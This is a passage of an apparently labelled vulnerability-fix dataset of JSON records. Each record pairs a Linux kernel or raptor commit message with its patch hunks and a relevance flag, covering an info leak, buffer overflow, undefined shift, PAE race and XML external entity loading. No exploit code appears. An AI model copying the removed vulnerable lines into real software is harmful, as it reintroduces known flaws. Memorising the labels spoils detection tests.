-932,9 +932,7 @@ static inline int unuse_pmd_range(struct vm_area_struct *vma, pud_t *pud,\n \tpmd = pmd_offset(pud, addr);\n \tdo {\n \t\tnext = pmd_addr_end(addr, end);\n-\t\tif (unlikely(pmd_trans_huge(*pmd)))\n-\t\t\tcontinue;\n-\t\tif (pmd_none_or_clear_bad(pmd))\n+\t\tif (pmd_none_or_trans_huge_or_clear_bad(pmd))\n \t\t\tcontinue;\n \t\tret = unuse_pte_range(vma, pmd, addr, next, entry, page);\n \t\tif (ret)", "sections": [{"section": "@@ -932,9 +932,7 @@ static inline int unuse_pmd_range(struct vm_area_struct *vma, pud_t *pud,\n \tpmd = pmd_offset(pud, addr);\n \tdo {\n \t\tnext = pmd_addr_end(addr, end);\n-\t\tif (unlikely(pmd_trans_huge(*pmd)))\n-\t\t\tcontinue;\n-\t\tif (pmd_none_or_clear_bad(pmd))\n+\t\tif (pmd_none_or_trans_huge_or_clear_bad(pmd))\n \t\t\tcontinue;\n \t\tret = unuse_pte_range(vma, pmd, addr, next, entry, page);\n \t\tif (ret)", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "mm/memcontrol.c", "commit_id": "371528caec553785c37f73fa3926ea0de84f986f", "commit_message": "mm: memcg: Correct unregistring of events attached to the same eventfd\n\nThere is an issue when memcg unregisters events that were attached to\nthe same eventfd:\n\n- On the first call mem_cgroup_usage_unregister_event() removes all\n events attached to a given eventfd, and if there were no events left,\n thresholds->primary would become NULL;\n\n- Since there were several events registered, cgroups core will call\n mem_cgroup_usage_unregister_event() again, but now kernel will oops,\n as the function doesn't expect that threshold->primary may be NULL.\n\nThat's a good question whether mem_cgroup_usage_unregister_event()\nshould actually remove all events in one go, but nowadays it can't\ndo any better as cftype->unregister_event callback doesn't pass\nany private event-associated cookie. So, let's fix the issue by\nsimply checking for threshold->primary.\n\nFWIW, w/o the patch the following oops may be observed:\n\n BUG: unable to handle kernel NULL pointer dereference at 0000000000000004\n IP: [] mem_cgroup_usage_unregister_event+0x9c/0x1f0\n Pid: 574, comm: kworker/0:2 Not tainted 3.3.0-rc4+ #9 Bochs Bochs\n RIP: 0010:[] [] mem_cgroup_usage_unregister_event+0x9c/0x1f0\n RSP: 0018:ffff88001d0b9d60 EFLAGS: 00010246\n Process kworker/0:2 (pid: 574, threadinfo ffff88001d0b8000, task ffff88001de91cc0)\n Call Trace:\n [] cgroup_event_remove+0x2b/0x60\n [] process_one_work+0x174/0x450\n [] worker_thread+0x123/0x2d0\n\nCc: stable \nSigned-off-by: Anton Vorontsov \nAcked-by: KAMEZAWA Hiroyuki \nCc: Kirill A. Shutemov \nCc: Michal Hocko \nSigned-off-by: Linus Torvalds ", "patch": "@@ -4414,6 +4414,9 @@ static void mem_cgroup_usage_unregister_event(struct cgroup *cgrp,\n \t */\n \tBUG_ON(!thresholds);\n \n+\tif (!thresholds->primary)\n+\t\tgoto unlock;\n+\n \tusage = mem_cgroup_usage(memcg, type == _MEMSWAP);\n \n \t/* Check if a threshold crossed before removing */\n@@ -4462,7 +4465,7 @@ static void mem_cgroup_usage_unregister_event(struct cgroup *cgrp,\n \n \t/* To be sure that nobody uses thresholds */\n \tsynchronize_rcu();\n-\n+unlock:\n \tmutex_unlock(&memcg->thresholds_lock);\n }\n ", "sections": [{"section": "@@ -4414,6 +4414,9 @@ static void mem_cgroup_usage_unregister_event(struct cgroup *cgrp,\n \t */\n \tBUG_ON(!thresholds);\n \n+\tif (!thresholds->primary)\n+\t\tgoto unlock;\n+\n \tusage = mem_cgroup_usage(memcg, type == _MEMSWAP);\n \n \t/* Check if a threshold crossed before removing */\n", "related": false}, {"section": "@@ -4462,7 +4465,7 @@ static void mem_cgroup_usage_unregister_event(struct cgroup *cgrp,\n \n \t/* To be sure that nobody uses thresholds */\n \tsynchronize_rcu();\n-\n+unlock:\n \tmutex_unlock(&memcg->thresholds_lock);\n }\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/linux/nfs_xdr.h", "commit_id": "bf118a342f10dafe44b14451a1392c3254629a1f", "commit_message": "NFSv4: include bitmap in nfsv4 get acl data\n\nThe NFSv4 bitmap size is unbounded: a server can return an arbitrary\nsized bitmap in an FATTR4_WORD0_ACL request. Replace using the\nnfs4_fattr_bitmap_maxsz as a guess to the maximum bitmask returned by a server\nwith the inclusion of the bitmap (xdr length plus bitmasks) and the acl data\nxdr length to the (cached) acl page data.\n\nThis is a general solution to commit e5012d1f \"NFSv4.1: update\nnfs4_fattr_bitmap_maxsz\" and fixes hitting a BUG_ON in xdr_shrink_bufhead\nwhen getting ACLs.\n\nFix a bug in decode_getacl that returned -EINVAL on ACLs > page when getxattr\nwas called with a NULL buffer, preventing ACL > PAGE_SIZE from being retrieved.\n\nCc: stable@kernel.org\nSigned-off-by: Andy Adamson \nSigned-off-by: Trond Myklebust ", "patch": "@@ -602,11 +602,16 @@ struct nfs_getaclargs {\n \tsize_t\t\t\t\tacl_len;\n \tunsigned int\t\t\tacl_pgbase;\n \tstruct page **\t\t\tacl_pages;\n+\tstruct page *\t\t\tacl_scratch;\n \tstruct nfs4_sequence_args \tseq_args;\n };\n \n+/* getxattr ACL interface flags */\n+#define NFS4_ACL_LEN_REQUEST\t0x0001\t/* zero length getxattr buffer */\n struct nfs_getaclres {\n \tsize_t\t\t\t\tacl_len;\n+\tsize_t\t\t\t\tacl_data_offset;\n+\tint\t\t\t\tacl_flags;\n \tstruct nfs4_sequence_res\tseq_res;\n };\n ", "sections": [{"section": "@@ -602,11 +602,16 @@ struct nfs_getaclargs {\n \tsize_t\t\t\t\tacl_len;\n \tunsigned int\t\t\tacl_pgbase;\n \tstruct page **\t\t\tacl_pages;\n+\tstruct page *\t\t\tacl_scratch;\n \tstruct nfs4_sequence_args \tseq_args;\n };\n \n+/* getxattr ACL interface flags */\n+#define NFS4_ACL_LEN_REQUEST\t0x0001\t/* zero length getxattr buffer */\n struct nfs_getaclres {\n \tsize_t\t\t\t\tacl_len;\n+\tsize_t\t\t\t\tacl_data_offset;\n+\tint\t\t\t\tacl_flags;\n \tstruct nfs4_sequence_res\tseq_res;\n };\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/tun.c", "commit_id": "550fd08c2cebad61c548def135f67aba284c6162", "commit_message": "net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared\n\nAfter the last patch, We are left in a state in which only drivers calling\nether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real\nhardware call ether_setup for their net_devices and don't hold any state in\ntheir skbs. There are a handful of drivers that violate this assumption of\ncourse, and need to be fixed up. This patch identifies those drivers, and marks\nthem as not being able to support the safe transmission of skbs by clearning the\nIFF_TX_SKB_SHARING flag in priv_flags\n\nSigned-off-by: Neil Horman \nCC: Karsten Keil \nCC: \"David S. Miller\" \nCC: Jay Vosburgh \nCC: Andy Gospodarek \nCC: Patrick McHardy \nCC: Krzysztof Halasa \nCC: \"John W. Linville\" \nCC: Greg Kroah-Hartman \nCC: Marcel Holtmann \nCC: Johannes Berg \nSigned-off-by: David S. Miller ", "patch": "@@ -528,6 +528,7 @@ static void tun_net_init(struct net_device *dev)\n \t\tdev->netdev_ops = &tap_netdev_ops;\n \t\t/* Ethernet TAP Device */\n \t\tether_setup(dev);\n+\t\tdev->priv_flags &= ~IFF_TX_SKB_SHARING;\n \n \t\trandom_ether_addr(dev->dev_addr);\n ", "sections": [{"section": "@@ -528,6 +528,7 @@ static void tun_net_init(struct net_device *dev)\n \t\tdev->netdev_ops = &tap_netdev_ops;\n \t\t/* Ethernet TAP Device */\n \t\tether_setup(dev);\n+\t\tdev->priv_flags &= ~IFF_TX_SKB_SHARING;\n \n \t\trandom_ether_addr(dev->dev_addr);\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/exit.c", "commit_id": "8141c7f3e7aee618312fa1c15109e1219de784a7", "commit_message": "Move \"exit_robust_list\" into mm_release()\n\nWe don't want to get rid of the futexes just at exit() time, we want to\ndrop them when doing an execve() too, since that gets rid of the\nprevious VM image too.\n\nDoing it at mm_release() time means that we automatically always do it\nwhen we disassociate a VM map from the task.\n\nReported-by: pageexec@freemail.hu\nCc: Andrew Morton \nCc: Nick Piggin \nCc: Hugh Dickins \nCc: Ingo Molnar \nCc: Thomas Gleixner \nCc: Brad Spengler \nCc: Alex Efros \nCc: Peter Zijlstra \nCc: Oleg Nesterov \nSigned-off-by: Linus Torvalds ", "patch": "@@ -40,7 +40,6 @@\n #include \n #include \n #include \n-#include \n #include \n #include /* for audit_free() */\n #include \n@@ -1059,14 +1058,6 @@ NORET_TYPE void do_exit(long code)\n \t\texit_itimers(tsk->signal);\n \t}\n \tacct_collect(code, group_dead);\n-#ifdef CONFIG_FUTEX\n-\tif (unlikely(tsk->robust_list))\n-\t\texit_robust_list(tsk);\n-#ifdef CONFIG_COMPAT\n-\tif (unlikely(tsk->compat_robust_list))\n-\t\tcompat_exit_robust_list(tsk);\n-#endif\n-#endif\n \tif (group_dead)\n \t\ttty_audit_exit();\n \tif (unlikely(tsk->audit_context))", "sections": [{"section": "@@ -40,7 +40,6 @@\n #include \n #include \n #include \n-#include \n #include \n #include /* for audit_free() */\n #include \n", "related": false}, {"section": "@@ -1059,14 +1058,6 @@ NORET_TYPE void do_exit(long code)\n \t\texit_itimers(tsk->signal);\n \t}\n \tacct_collect(code, group_dead);\n-#ifdef CONFIG_FUTEX\n-\tif (unlikely(tsk->robust_list))\n-\t\texit_robust_list(tsk);\n-#ifdef CONFIG_COMPAT\n-\tif (unlikely(tsk->compat_robust_list))\n-\t\tcompat_exit_robust_list(tsk);\n-#endif\n-#endif\n \tif (group_dead)\n \t\ttty_audit_exit();\n \tif (unlikely(tsk->audit_context))", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "security/integrity/ima/ima_policy.c", "commit_id": "867c20265459d30a01b021a9c1e81fb4c5832aa9", "commit_message": "ima: fix add LSM rule bug\n\nIf security_filter_rule_init() doesn't return a rule, then not everything\nis as fine as the return code implies.\n\nThis bug only occurs when the LSM (eg. SELinux) is disabled at runtime.\n\nAdding an empty LSM rule causes ima_match_rules() to always succeed,\nignoring any remaining rules.\n\n default IMA TCB policy:\n # PROC_SUPER_MAGIC\n dont_measure fsmagic=0x9fa0\n # SYSFS_MAGIC\n dont_measure fsmagic=0x62656572\n # DEBUGFS_MAGIC\n dont_measure fsmagic=0x64626720\n # TMPFS_MAGIC\n dont_measure fsmagic=0x01021994\n # SECURITYFS_MAGIC\n dont_measure fsmagic=0x73636673\n\n < LSM specific rule >\n dont_measure obj_type=var_log_t\n\n measure func=BPRM_CHECK\n measure func=FILE_MMAP mask=MAY_EXEC\n measure func=FILE_CHECK mask=MAY_READ uid=0\n\nThus without the patch, with the boot parameters 'tcb selinux=0', adding\nthe above 'dont_measure obj_type=var_log_t' rule to the default IMA TCB\nmeasurement policy, would result in nothing being measured. The patch\nprevents the default TCB policy from being replaced.\n\nSigned-off-by: Mimi Zohar \nCc: James Morris \nAcked-by: Serge Hallyn \nCc: David Safford \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds ", "patch": "@@ -253,6 +253,8 @@ static int ima_lsm_rule_init(struct ima_measure_rule_entry *entry,\n \tresult = security_filter_rule_init(entry->lsm[lsm_rule].type,\n \t\t\t\t\t Audit_equal, args,\n \t\t\t\t\t &entry->lsm[lsm_rule].rule);\n+\tif (!entry->lsm[lsm_rule].rule)\n+\t\treturn -EINVAL;\n \treturn result;\n }\n ", "sections": [{"section": "@@ -253,6 +253,8 @@ static int ima_lsm_rule_init(struct ima_measure_rule_entry *entry,\n \tresult = security_filter_rule_init(entry->lsm[lsm_rule].type,\n \t\t\t\t\t Audit_equal, args,\n \t\t\t\t\t &entry->lsm[lsm_rule].rule);\n+\tif (!entry->lsm[lsm_rule].rule)\n+\t\treturn -EINVAL;\n \treturn result;\n }\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/linux/nfs_fs.h", "commit_id": "dc0b027dfadfcb8a5504f7d8052754bf8d501ab9", "commit_message": "NFSv4: Convert the open and close ops to use fmode\n\nSigned-off-by: Trond Myklebust ", "patch": "@@ -83,7 +83,7 @@ struct nfs_open_context {\n \tstruct rpc_cred *cred;\n \tstruct nfs4_state *state;\n \tfl_owner_t lockowner;\n-\tint mode;\n+\tfmode_t mode;\n \n \tunsigned long flags;\n #define NFS_CONTEXT_ERROR_WRITE\t\t(0)\n@@ -342,7 +342,7 @@ extern int nfs_setattr(struct dentry *, struct iattr *);\n extern void nfs_setattr_update_inode(struct inode *inode, struct iattr *attr);\n extern struct nfs_open_context *get_nfs_open_context(struct nfs_open_context *ctx);\n extern void put_nfs_open_context(struct nfs_open_context *ctx);\n-extern struct nfs_open_context *nfs_find_open_context(struct inode *inode, struct rpc_cred *cred, int mode);\n+extern struct nfs_open_context *nfs_find_open_context(struct inode *inode, struct rpc_cred *cred, fmode_t mode);\n extern u64 nfs_compat_user_ino64(u64 fileid);\n extern void nfs_fattr_init(struct nfs_fattr *fattr);\n ", "sections": [{"section": "@@ -83,7 +83,7 @@ struct nfs_open_context {\n \tstruct rpc_cred *cred;\n \tstruct nfs4_state *state;\n \tfl_owner_t lockowner;\n-\tint mode;\n+\tfmode_t mode;\n \n \tunsigned long flags;\n #define NFS_CONTEXT_ERROR_WRITE\t\t(0)\n", "related": false}, {"section": "@@ -342,7 +342,7 @@ extern int nfs_setattr(struct dentry *, struct iattr *);\n extern void nfs_setattr_update_inode(struct inode *inode, struct iattr *attr);\n extern struct nfs_open_context *get_nfs_open_context(struct nfs_open_context *ctx);\n extern void put_nfs_open_context(struct nfs_open_context *ctx);\n-extern struct nfs_open_context *nfs_find_open_context(struct inode *inode, struct rpc_cred *cred, int mode);\n+extern struct nfs_open_context *nfs_find_open_context(struct inode *inode, struct rpc_cred *cred, fmode_t mode);\n extern u64 nfs_compat_user_ino64(u64 fileid);\n extern void nfs_fattr_init(struct nfs_fattr *fattr);\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/bluetooth/sco.c", "commit_id": "c4c896e1471aec3b004a693c689f60be3b17ac86", "commit_message": "Bluetooth: sco: fix information leak to userspace\n\nstruct sco_conninfo has one padding byte in the end. Local variable\ncinfo of type sco_conninfo is copied to userspace with this uninizialized\none byte, leading to old stack contents leak.\n\nSigned-off-by: Vasiliy Kulikov \nSigned-off-by: Gustavo F. Padovan ", "patch": "@@ -703,6 +703,7 @@ static int sco_sock_getsockopt_old(struct socket *sock, int optname, char __user\n \t\t\tbreak;\n \t\t}\n \n+\t\tmemset(&cinfo, 0, sizeof(cinfo));\n \t\tcinfo.hci_handle = sco_pi(sk)->conn->hcon->handle;\n \t\tmemcpy(cinfo.dev_class, sco_pi(sk)->conn->hcon->dev_class, 3);\n ", "sections": [{"section": "@@ -703,6 +703,7 @@ static int sco_sock_getsockopt_old(struct socket *sock, int optname, char __user\n \t\t\tbreak;\n \t\t}\n \n+\t\tmemset(&cinfo, 0, sizeof(cinfo));\n \t\tcinfo.hci_handle = sco_pi(sk)->conn->hcon->handle;\n \t\tmemcpy(cinfo.dev_class, sco_pi(sk)->conn->hcon->dev_class, 3);\n ", "related": true}]} +{"owner": "dajobe", "repo": "raptor", "language": "C", "file_name": "src/raptor_turtle_writer.c", "commit_id": "a676f235309a59d4aa78eeffd2574ae5d341fcb0", "commit_message": "CVE-2012-0037\n\nEnforce entity loading policy in raptor_libxml_resolveEntity\nand raptor_libxml_getEntity by checking for file URIs and network URIs.\n\nAdd RAPTOR_OPTION_LOAD_EXTERNAL_ENTITIES / loadExternalEntities for\nturning on loading of XML external entity loading, disabled by default.\n\nThis affects all the parsers that use SAX2: rdfxml, rss-tag-soup (and\naliases) and rdfa.", "patch": "@@ -705,6 +705,7 @@ raptor_turtle_writer_set_option(raptor_turtle_writer *turtle_writer,\n /* Shared */\n case RAPTOR_OPTION_NO_NET:\n case RAPTOR_OPTION_NO_FILE:\n+ case RAPTOR_OPTION_LOAD_EXTERNAL_ENTITIES:\n \n /* XML writer options */\n case RAPTOR_OPTION_RELATIVE_URIS:\n@@ -829,6 +830,7 @@ raptor_turtle_writer_get_option(raptor_turtle_writer *turtle_writer,\n /* Shared */\n case RAPTOR_OPTION_NO_NET:\n case RAPTOR_OPTION_NO_FILE:\n+ case RAPTOR_OPTION_LOAD_EXTERNAL_ENTITIES:\n \n /* XML writer options */\n case RAPTOR_OPTION_RELATIVE_URIS:", "sections": [{"section": "@@ -705,6 +705,7 @@ raptor_turtle_writer_set_option(raptor_turtle_writer *turtle_writer,\n /* Shared */\n case RAPTOR_OPTION_NO_NET:\n case RAPTOR_OPTION_NO_FILE:\n+ case RAPTOR_OPTION_LOAD_EXTERNAL_ENTITIES:\n \n /* XML writer options */\n case RAPTOR_OPTION_RELATIVE_URIS:\n", "related": false}, {"section": "@@ -829,6 +830,7 @@ raptor_turtle_writer_get_option(raptor_turtle_writer *turtle_writer,\n /* Shared */\n case RAPTOR_OPTION_NO_NET:\n case RAPTOR_OPTION_NO_FILE:\n+ case RAPTOR_OPTION_LOAD_EXTERNAL_ENTITIES:\n \n /* XML writer options */\n case RAPTOR_OPTION_RELATIVE_URIS:", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/partitions/ldm.c", "commit_id": "cae13fe4cc3f24820ffb990c09110626837e85d4", "commit_message": "Fix for buffer overflow in ldm_frag_add not sufficient\n\nAs Ben Hutchings discovered [1], the patch for CVE-2011-1017 (buffer\noverflow in ldm_frag_add) is not sufficient. The original patch in\ncommit c340b1d64000 (\"fs/partitions/ldm.c: fix oops caused by corrupted\npartition table\") does not consider that, for subsequent fragments,\npreviously allocated memory is used.\n\n[1] http://lkml.org/lkml/2011/5/6/407\n\nReported-by: Ben Hutchings \nSigned-off-by: Timo Warns \nSigned-off-by: Linus Torvalds ", "patch": "@@ -1335,6 +1335,11 @@ static bool ldm_frag_add (const u8 *data, int size, struct list_head *frags)\n \n \tlist_add_tail (&f->list, frags);\n found:\n+\tif (rec >= f->num) {\n+\t\tldm_error(\"REC value (%d) exceeds NUM value (%d)\", rec, f->num);\n+\t\treturn false;\n+\t}\n+\n \tif (f->map & (1 << rec)) {\n \t\tldm_error (\"Duplicate VBLK, part %d.\", rec);\n \t\tf->map &= 0x7F;\t\t\t/* Mark the group as broken */", "sections": [{"section": "@@ -1335,6 +1335,11 @@ static bool ldm_frag_add (const u8 *data, int size, struct list_head *frags)\n \n \tlist_add_tail (&f->list, frags);\n found:\n+\tif (rec >= f->num) {\n+\t\tldm_error(\"REC value (%d) exceeds NUM value (%d)\", rec, f->num);\n+\t\treturn false;\n+\t}\n+\n \tif (f->map & (1 << rec)) {\n \t\tldm_error (\"Duplicate VBLK, part %d.\", rec);\n \t\tf->map &= 0x7F;\t\t\t/* Mark the group as broken */", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ipv6/sit.c", "commit_id": "d5aa407f59f5b83d2c50ec88f5bf56d40f1f8978", "commit_message": "tunnels: fix netns vs proto registration ordering\n\nSame stuff as in ip_gre patch: receive hook can be called before netns\nsetup is done, oopsing in net_generic().\n\nSigned-off-by: Alexey Dobriyan \nSigned-off-by: David S. Miller ", "patch": "@@ -1227,15 +1227,14 @@ static int __init sit_init(void)\n \n \tprintk(KERN_INFO \"IPv6 over IPv4 tunneling driver\\n\");\n \n-\tif (xfrm4_tunnel_register(&sit_handler, AF_INET6) < 0) {\n-\t\tprintk(KERN_INFO \"sit init: Can't add protocol\\n\");\n-\t\treturn -EAGAIN;\n-\t}\n-\n \terr = register_pernet_device(&sit_net_ops);\n \tif (err < 0)\n-\t\txfrm4_tunnel_deregister(&sit_handler, AF_INET6);\n-\n+\t\treturn err;\n+\terr = xfrm4_tunnel_register(&sit_handler, AF_INET6);\n+\tif (err < 0) {\n+\t\tunregister_pernet_device(&sit_net_ops);\n+\t\tprintk(KERN_INFO \"sit init: Can't add protocol\\n\");\n+\t}\n \treturn err;\n }\n ", "sections": [{"section": "@@ -1227,15 +1227,14 @@ static int __init sit_init(void)\n \n \tprintk(KERN_INFO \"IPv6 over IPv4 tunneling driver\\n\");\n \n-\tif (xfrm4_tunnel_register(&sit_handler, AF_INET6) < 0) {\n-\t\tprintk(KERN_INFO \"sit init: Can't add protocol\\n\");\n-\t\treturn -EAGAIN;\n-\t}\n-\n \terr = register_pernet_device(&sit_net_ops);\n \tif (err < 0)\n-\t\txfrm4_tunnel_deregister(&sit_handler, AF_INET6);\n-\n+\t\treturn err;\n+\terr = xfrm4_tunnel_register(&sit_handler, AF_INET6);\n+\tif (err < 0) {\n+\t\tunregister_pernet_device(&sit_net_ops);\n+\t\tprintk(KERN_INFO \"sit init: Can't add protocol\\n\");\n+\t}\n \treturn err;\n }\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/ext4/super.c", "commit_id": "d50f2ab6f050311dbf7b8f5501b25f0bf64a439b", "commit_message": "ext4: fix undefined behavior in ext4_fill_flex_info()\n\nCommit 503358ae01b70ce6909d19dd01287093f6b6271c (\"ext4: avoid divide by\nzero when trying to mount a corrupted file system\") fixes CVE-2009-4307\nby performing a sanity check on s_log_groups_per_flex, since it can be\nset to a bogus value by an attacker.\n\n\tsbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex;\n\tgroups_per_flex = 1 << sbi->s_log_groups_per_flex;\n\n\tif (groups_per_flex < 2) { ... }\n\nThis patch fixes two potential issues in the previous commit.\n\n1) The sanity check might only work on architectures like PowerPC.\nOn x86, 5 bits are used for the shifting amount. That means, given a\nlarge s_log_groups_per_flex value like 36, groups_per_flex = 1 << 36\nis essentially 1 << 4 = 16, rather than 0. This will bypass the check,\nleaving s_log_groups_per_flex and groups_per_flex inconsistent.\n\n2) The sanity check relies on undefined behavior, i.e., oversized shift.\nA standard-confirming C compiler could rewrite the check in unexpected\nways. Consider the following equivalent form, assuming groups_per_flex\nis unsigned for simplicity.\n\n\tgroups_per_flex = 1 << sbi->s_log_groups_per_flex;\n\tif (groups_per_flex == 0 || groups_per_flex == 1) {\n\nWe compile the code snippet using Clang 3.0 and GCC 4.6. Clang will\ncompletely optimize away the check groups_per_flex == 0, leaving the\npatched code as vulnerable as the original. GCC keeps the check, but\nthere is no guarantee that future versions will do the same.\n\nSigned-off-by: Xi Wang \nSigned-off-by: \"Theodore Ts'o\" \nCc: stable@vger.kernel.org", "patch": "@@ -2006,17 +2006,16 @@ static int ext4_fill_flex_info(struct super_block *sb)\n \tstruct ext4_group_desc *gdp = NULL;\n \text4_group_t flex_group_count;\n \text4_group_t flex_group;\n-\tint groups_per_flex = 0;\n+\tunsigned int groups_per_flex = 0;\n \tsize_t size;\n \tint i;\n \n \tsbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex;\n-\tgroups_per_flex = 1 << sbi->s_log_groups_per_flex;\n-\n-\tif (groups_per_flex < 2) {\n+\tif (sbi->s_log_groups_per_flex < 1 || sbi->s_log_groups_per_flex > 31) {\n \t\tsbi->s_log_groups_per_flex = 0;\n \t\treturn 1;\n \t}\n+\tgroups_per_flex = 1 << sbi->s_log_groups_per_flex;\n \n \t/* We allocate both existing and potentially added groups */\n \tflex_group_count = ((sbi->s_groups_count + groups_per_flex - 1) +", "sections": [{"section": "@@ -2006,17 +2006,16 @@ static int ext4_fill_flex_info(struct super_block *sb)\n \tstruct ext4_group_desc *gdp = NULL;\n \text4_group_t flex_group_count;\n \text4_group_t flex_group;\n-\tint groups_per_flex = 0;\n+\tunsigned int groups_per_flex = 0;\n \tsize_t size;\n \tint i;\n \n \tsbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex;\n-\tgroups_per_flex = 1 << sbi->s_log_groups_per_flex;\n-\n-\tif (groups_per_flex < 2) {\n+\tif (sbi->s_log_groups_per_flex < 1 || sbi->s_log_groups_per_flex > 31) {\n \t\tsbi->s_log_groups_per_flex = 0;\n \t\treturn 1;\n \t}\n+\tgroups_per_flex = 1 << sbi->s_log_groups_per_flex;\n \n \t/* We allocate both existing and potentially added groups */\n \tflex_group_count = ((sbi->s_groups_count + groups_per_flex - 1) +", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/include/asm/pgtable-3level.h", "commit_id": "26c191788f18129af0eb32a358cdaea0c7479626", "commit_message": "mm: pmd_read_atomic: fix 32bit PAE pmd walk vs pmd_populate SMP race condition\n\nWhen holding the mmap_sem for reading, pmd_offset_map_lock should only\nrun on a pmd_t that has been read atomically from the pmdp pointer,\notherwise we may read only half of it leading to this crash.\n\nPID: 11679 TASK: f06e8000 CPU: 3 COMMAND: \"do_race_2_panic\"\n #0 [f06a9dd8] crash_kexec at c049b5ec\n #1 [f06a9e2c] oops_end at c083d1c2\n #2 [f06a9e40] no_context at c0433ded\n #3 [f06a9e64] bad_area_nosemaphore at c043401a\n #4 [f06a9e6c] __do_page_fault at c0434493\n #5 [f06a9eec] do_page_fault at c083eb45\n #6 [f06a9f04] error_code (via page_fault) at c083c5d5\n EAX: 01fb470c EBX: fff35000 ECX: 00000003 EDX: 00000100 EBP:\n 00000000\n DS: 007b ESI: 9e201000 ES: 007b EDI: 01fb4700 GS: 00e0\n CS: 0060 EIP: c083bc14 ERR: ffffffff EFLAGS: 00010246\n #7 [f06a9f38] _spin_lock at c083bc14\n #8 [f06a9f44] sys_mincore at c0507b7d\n #9 [f06a9fb0] system_call at c083becd\n start len\n EAX: ffffffda EBX: 9e200000 ECX: 00001000 EDX: 6228537f\n DS: 007b ESI: 00000000 ES: 007b EDI: 003d0f00\n SS: 007b ESP: 62285354 EBP: 62285388 GS: 0033\n CS: 0073 EIP: 00291416 ERR: 000000da EFLAGS: 00000286\n\nThis should be a longstanding bug affecting x86 32bit PAE without THP.\nOnly archs with 64bit large pmd_t and 32bit unsigned long should be\naffected.\n\nWith THP enabled the barrier() in pmd_none_or_trans_huge_or_clear_bad()\nwould partly hide the bug when the pmd transition from none to stable,\nby forcing a re-read of the *pmd in pmd_offset_map_lock, but when THP is\nenabled a new set of problem arises by the fact could then transition\nfreely in any of the none, pmd_trans_huge or pmd_trans_stable states.\nSo making the barrier in pmd_none_or_trans_huge_or_clear_bad()\nunconditional isn't good idea and it would be a flakey solution.\n\nThis should be fully fixed by introducing a pmd_read_atomic that reads\nthe pmd in order with THP disabled, or by reading the pmd atomically\nwith cmpxchg8b with THP enabled.\n\nLuckily this new race condition only triggers in the places that must\nalready be covered by pmd_none_or_trans_huge_or_clear_bad() so the fix\nis localized there but this bug is not related to THP.\n\nNOTE: this can trigger on x86 32bit systems with PAE enabled with more\nthan 4G of ram, otherwise the high part of the pmd will never risk to be\ntruncated because it would be zero at all times, in turn so hiding the\nSMP race.\n\nThis bug was discovered and fully debugged by Ulrich, quote:\n\n----\n[..]\npmd_none_or_trans_huge_or_clear_bad() loads the content of edx and\neax.\n\n 496 static inline int pmd_none_or_trans_huge_or_clear_bad(pmd_t\n *pmd)\n 497 {\n 498 /* depend on compiler for an atomic pmd read */\n 499 pmd_t pmdval = *pmd;\n\n // edi = pmd pointer\n0xc0507a74 : mov 0x8(%esp),%edi\n...\n // edx = PTE page table high address\n0xc0507a84 : mov 0x4(%edi),%edx\n...\n // eax = PTE page table low address\n0xc0507a8e : mov (%edi),%eax\n\n[..]\n\nPlease note that the PMD is not read atomically. These are two \"mov\"\ninstructions where the high order bits of the PMD entry are fetched\nfirst. Hence, the above machine code is prone to the following race.\n\n- The PMD entry {high|low} is 0x0000000000000000.\n The \"mov\" at 0xc0507a84 loads 0x00000000 into edx.\n\n- A page fault (on another CPU) sneaks in between the two \"mov\"\n instructions and instantiates the PMD.\n\n- The PMD entry {high|low} is now 0x00000003fda38067.\n The \"mov\" at 0xc0507a8e loads 0xfda38067 into eax.\n----\n\nReported-by: Ulrich Obergfell \nSigned-off-by: Andrea Arcangeli \nCc: Mel Gorman \nCc: Hugh Dickins \nCc: Larry Woodman \nCc: Petr Matousek \nCc: Rik van Riel \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds ", "patch": "@@ -31,6 +31,56 @@ static inline void native_set_pte(pte_t *ptep, pte_t pte)\n \tptep->pte_low = pte.pte_low;\n }\n \n+#define pmd_read_atomic pmd_read_atomic\n+/*\n+ * pte_offset_map_lock on 32bit PAE kernels was reading the pmd_t with\n+ * a \"*pmdp\" dereference done by gcc. Problem is, in certain places\n+ * where pte_offset_map_lock is called, concurrent page faults are\n+ * allowed, if the mmap_sem is hold for reading. An example is mincore\n+ * vs page faults vs MADV_DONTNEED. On the page fault side\n+ * pmd_populate rightfully does a set_64bit, but if we're reading the\n+ * pmd_t with a \"*pmdp\" on the mincore side, a SMP race can happen\n+ * because gcc will not read the 64bit of the pmd atomically. To fix\n+ * this all places running pmd_offset_map_lock() while holding the\n+ * mmap_sem in read mode, shall read the pmdp pointer using this\n+ * function to know if the pmd is null nor not, and in turn to know if\n+ * they can run pmd_offset_map_lock or pmd_trans_huge or other pmd\n+ * operations.\n+ *\n+ * Without THP if the mmap_sem is hold for reading, the\n+ * pmd can only transition from null to not null while pmd_read_atomic runs.\n+ * So there's no need of literally reading it atomically.\n+ *\n+ * With THP if the mmap_sem is hold for reading, the pmd can become\n+ * THP or null or point to a pte (and in turn become \"stable\") at any\n+ * time under pmd_read_atomic, so it's mandatory to read it atomically\n+ * with cmpxchg8b.\n+ */\n+#ifndef CONFIG_TRANSPARENT_HUGEPAGE\n+static inline pmd_t pmd_read_atomic(pmd_t *pmdp)\n+{\n+\tpmdval_t 